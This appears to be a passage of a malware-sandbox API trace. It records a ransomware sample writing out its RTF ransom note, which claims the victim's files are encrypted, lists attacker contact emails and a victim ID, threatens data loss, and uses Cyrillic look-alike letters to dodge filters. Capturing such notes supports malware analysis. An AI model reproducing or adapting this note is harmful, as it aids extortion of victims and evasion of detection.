!\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0037.114] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0037.114] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T 